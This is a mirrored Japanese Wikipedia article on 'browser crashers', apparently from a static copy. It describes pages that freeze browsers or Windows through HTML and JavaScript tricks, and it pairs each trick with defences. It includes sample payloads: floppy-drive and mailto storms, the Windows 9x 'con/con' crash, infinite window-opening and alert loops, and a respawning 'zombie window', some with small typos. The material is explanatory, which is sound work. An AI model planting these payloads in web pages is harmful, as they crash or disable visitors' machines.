Web Analytics
Privacy Policy Cookie Policy Terms and Conditions ブラウザクラッシャー - Wikipedia

ブラウザクラッシャー

出典: フリー百科事典『ウィキペディア(Wikipedia)』

ブラウザクラッシャーとは、Web ブラウザOSの仕様・バグを悪用するスクリプト言語または HTML 文書を記述した Web ページのこと。

Web ブラウザで当該ページにアクセスする事により、ブラウザや OS の動作に異常を発生させる。「クラッシャー」はソフトウェアをクラッシュ(英語: crash, ソフトウェアの異常終了の意で用いられている)させる動作を意味している。コンピュータウイルス等とは違いソフトウェアの構成やハードウェアに直接の破壊的な影響を及ぼすことはまれである。

ブラクラ略称されることもある。また、派生して精神的ブラクラという言葉も一部で使われている。

*コンピュータやソフトウェア等に破壊的な影響を及ぼす危険性がありますのでこのソースコードを元にして絶対に真似しないでください。

目次

[編集] HTML 記述型

HTML を不正な形で記述することによってブラウザに不具合を起こさせる。JavaScript が作動しない環境でも作動する。

[編集] FDD アタック・CD-ROM アタック

フロッピーディスクドライブ (FDD) へのアクセスを繰り返す、CD-ROM ドライブが開閉を繰り返すなど、周辺機器にアクセスさせるマークアップを多数記述し、ブラウザの反応を遅くする。場合によっては周辺機器に物理的影響を与える。特にフロッピーディスクは機器への負担が大きい。

サンプルソース

<html>
  <head><title>FDDアタック</title></head>
  <body>
    <img src="file:///A:/example.001">
    <img src="file:///A:/example.002">
      ・
      ・
      ・
    <img src="file:///A:/example.100">
  </body>
</html>

Windows 上にて、上記ソースを HTML としてブラウザが読み込むと、通常 A ドライブであるフロッピーディスクドライブがガチャガチャと動く。

防御策

  • フロッピーディスクドライブのドライブ名をA以外にする
  • URL の前に "view-source:" をつけてソースを確認し、img タグの src 属性に file:// が含まれていないか注意する。
  • ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では view-source: をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
  • FDD アタックの場合、ドライブにフロッピーディスクを挿入しておくとダメージが軽減される

最近のパソコンにはフロッピーディスクドライブが標準装備で無い(USB 接続の外付けドライブ)ものが出てきている。このようなパソコンには A ドライブが存在しないため、フロッピーディスクドライブアタックは効かない。なお、Windows 以外のプラットフォームは影響を受けない。

  • FDD アタックが PC の A ドライブにアクセスし続けると、FDD が破損することがある。だが、FDD に最初から FD を挿入しておくと、破損は回避できる。

[編集] テーブルネスト

table タグの中に table タグを入れ、さらにその中に table タグを入れ、これを故意に深くネスティングさせたもの。古いブラウザ、特にバージョンの古い Netscape(4.x あたりまで)ではフリーズしてしまう。意図しなくてもページレイアウトのために table タグを多用した場合、同じことが起こりうる。

サンプルソース

<html>
  <head><title>テーブルネスト</title></head>
  <body>
    <table border="1"><tr><td>
      <table border="1"><tr><td>
        <table border="1"><tr><td>
          <table border="1"><tr><td>
            <table border="1"><tr><td>
              <table><tr><td>Sample</td></tr></table>
            </td></tr></table>
          </td></tr></table>
        </td></tr></table>
      </td></tr</table>
    </td></tr></table>
  </body>
</html>

防御策

  • CSSスタイルシート)への対応が不完全な古いブラウザしか対応できないパソコン環境(Windows95, MacOS8.x あたりまで)の使用を止め、新しいブラウザが動作できるパソコン環境に移行する。
  • URL の前に "view-source:" をつけてソースを確認し、table タグの多重入れ子が含まれていないか注意する。
  • ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では view-source: をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。

最近のパソコンにはほとんど通用しない。

[編集] mailto ストーム

「メイルトゥストーム」と読む。電子メールの作成画面を起動するマークアップを多数記述し、メール作成画面を多数開かせる。結果、閲覧者のコンピュータやブラウザをフリーズさせる。

サンプルソース

<html>
  <head><title>mailtoストーム</title></head>
  <body>
    <img src="mailto:001@example.org">
    <img src="mailto:002@example.org">
      ・
      ・
      ・
    <img src="mailto:100@example.org">
  </body>
</html>

上記ソースをHTMLとしてブラウザが読み込むと、メール作成画面が 100 個表示される。

防御策

  • メール作成画面の同時表示個数に上限を設定できるメーラーを使用するか、ブラウザで使用する標準メールソフトを設定しない
  • URL の前に "view-source:" をつけてソースを確認し、img タグの src 属性に "mailto:" が含まれていないか注意する。
  • ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では view-source: をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。

メーラー側で対策(メール作成画面に上限を設けるなど)されていることも多い。

[編集] concon クラッシャー

concon バグと呼ばれるバグを利用したもの。Windows において「予約デバイス」と呼ばれる特別な意味を持つファイル名やフォルダ名にアクセスさせ、OS を停止させる。CON, AUX, NUL などが該当。

サンプルソース

<html>
  <head><title>conconクラッシャー</title></head>
  <body>
    <img src="file:///c:/con/con/con.con">
    <img src="file:///c:/nul/nul/nul.nul">
    <img src="file:///c:/lpt1/lpt2/lpt3.aux">
  </body>
</html>

防御策

  • Microsoft から出されているパッチ(修正ソフト)をインストールする
  • Windows 9x系(Windows ME まで)の OS を使用しない

Windows NT 系列(Windows 2000 や XP など)や Windows 以外のプラットフォームは影響を受けない。

[編集] JavaScript 記述型

クライアントサイドのスクリプトであるJavaScriptを悪用したもの。HTML 記述型と複合させたものもある。JavaScriptの作動しない環境では作動しない。

[編集] フルスクリーン化

ブラウザをツールバーなしの全画面表示にしてしまう。

サンプルソース

<html>
  <head><title>フルスクリーン化</title></head>
  <body>
    <script type="text/javascript">
      window.open("test.html", "_blank", "fullscreen=yes");
    </script>
  </body>
</html>

防御策

  • ポップアップブロックを設定できるブラウザ(Windows XP SP2 の IE6Firefox など)を使用する
  • タブブラウザFirefox 、Microsoft Internet Explorer 7など)を使用する
  • スクリプトを無効にする
  • Windows系の場合、[Alt]+[F4] を押すことによりブラウザを閉じることができる。Mac の場合は [コマンドキー]+[Q] でブラウザを終了できる。

最近のブラウザは標準でポップアップブロックに対応しているため、実行されにくくなってきた。

[編集] 無限ウインドウオープン

新規ウインドウを開くスクリプトを悪用し、多数のウインドウを開かせる。

サンプルソース

<html>
  <head><title>無限ウインドウオープン</title></head>
  <body>
    <script type="text/javascript">
      for(;;) { window.open("test.html", "_blank", "width=200,height=200"); }
    </script>
  </body>
</html>

防御策

  • ポップアップブロックを設定できるブラウザを使用する
  • タブブラウザを使用する
  • スクリプトを無効にする

最近のブラウザには標準でポップアップブロックが装備されているものが多いので、実行されにくくなってきた。

[編集] 無限アラート

ダイアログボックスを多数または無限回開かせる。

サンプルソース

<html>
  <head><title>無限アラート</title></head>
  <body>
    <script type="text/javascript">
      for(;;) { alert("無限アラートです。"); }
    </script>
  </body>
</html>

防御策

  • スクリプトを作動させないようにブラウザの設定を変更する

タスクリストから容易に閉じられる。

[編集] JavaScript の無限ループ

スクリプトが永久ループすると、CPU の使用率が 100% になりパソコンの動作が非常に鈍くなる。

サンプルソース

<html>
  <head><title>JavaScriptの永久ループ</title></head>
  <body>
    <script type="text/javascript">
      var i = 0;
      for(;;) { i++; }
    </script>
  </body>
</html>

防御策

  • スクリプトを無効にする

最近のブラウザには、ある程度ループが発生すると警告を出してくれるものがある。

[編集] ゾンビウィンドウ

何度閉じても、ゾンビのごとく復活するウィンドウのことをいう。消した数よりも開くウィンドウが多い場合もある。この場合、ウィンドウが鼠算式に増えることになる。悪質なポップアップ広告にしばしば使われている。

サンプルソース

<html>
  <head>
    <title>ゾンビウィンドウ</title>
    <script type="text/javascript">
      function Zombie() {
        window.open(location.href);
      }
    </script>
  </head>
  <body UnLoadOff="Zombie();"></body>
</html>

防御策

  • ポップアップブロックを設定できるブラウザを使用する

[編集] ブラクラを踏まないように対策

ブラクラを踏まないようにするにためにも、次のような対策を行うべきである。

他の言語
THIS WEB:

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - be - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - closed_zh_tw - co - cr - cs - csb - cu - cv - cy - da - de - diq - dv - dz - ee - el - eml - en - eo - es - et - eu - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gd - gl - glk - gn - got - gu - gv - ha - haw - he - hi - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mg - mh - mi - mk - ml - mn - mo - mr - ms - mt - mus - my - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - rm - rmy - rn - ro - roa_rup - roa_tara - ru - ru_sib - rw - sa - sc - scn - sco - sd - se - searchcom - sg - sh - si - simple - sk - sl - sm - sn - so - sq - sr - ss - st - su - sv - sw - ta - te - test - tet - tg - th - ti - tk - tl - tlh - tn - to - tokipona - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu

Static Wikipedia 2008 (no images)

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - bcl - be - be_x_old - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - co - cr - crh - cs - csb - cu - cv - cy - da - de - diq - dsb - dv - dz - ee - el - eml - en - eo - es - et - eu - ext - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gan - gd - gl - glk - gn - got - gu - gv - ha - hak - haw - he - hi - hif - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kaa - kab - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mdf - mg - mh - mi - mk - ml - mn - mo - mr - mt - mus - my - myv - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - quality - rm - rmy - rn - ro - roa_rup - roa_tara - ru - rw - sa - sah - sc - scn - sco - sd - se - sg - sh - si - simple - sk - sl - sm - sn - so - sr - srn - ss - st - stq - su - sv - sw - szl - ta - te - tet - tg - th - ti - tk - tl - tlh - tn - to - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu -

Static Wikipedia 2007:

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - be - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - closed_zh_tw - co - cr - cs - csb - cu - cv - cy - da - de - diq - dv - dz - ee - el - eml - en - eo - es - et - eu - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gd - gl - glk - gn - got - gu - gv - ha - haw - he - hi - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mg - mh - mi - mk - ml - mn - mo - mr - ms - mt - mus - my - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - rm - rmy - rn - ro - roa_rup - roa_tara - ru - ru_sib - rw - sa - sc - scn - sco - sd - se - searchcom - sg - sh - si - simple - sk - sl - sm - sn - so - sq - sr - ss - st - su - sv - sw - ta - te - test - tet - tg - th - ti - tk - tl - tlh - tn - to - tokipona - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu

Static Wikipedia 2006:

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - be - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - closed_zh_tw - co - cr - cs - csb - cu - cv - cy - da - de - diq - dv - dz - ee - el - eml - en - eo - es - et - eu - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gd - gl - glk - gn - got - gu - gv - ha - haw - he - hi - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mg - mh - mi - mk - ml - mn - mo - mr - ms - mt - mus - my - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - rm - rmy - rn - ro - roa_rup - roa_tara - ru - ru_sib - rw - sa - sc - scn - sco - sd - se - searchcom - sg - sh - si - simple - sk - sl - sm - sn - so - sq - sr - ss - st - su - sv - sw - ta - te - test - tet - tg - th - ti - tk - tl - tlh - tn - to - tokipona - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu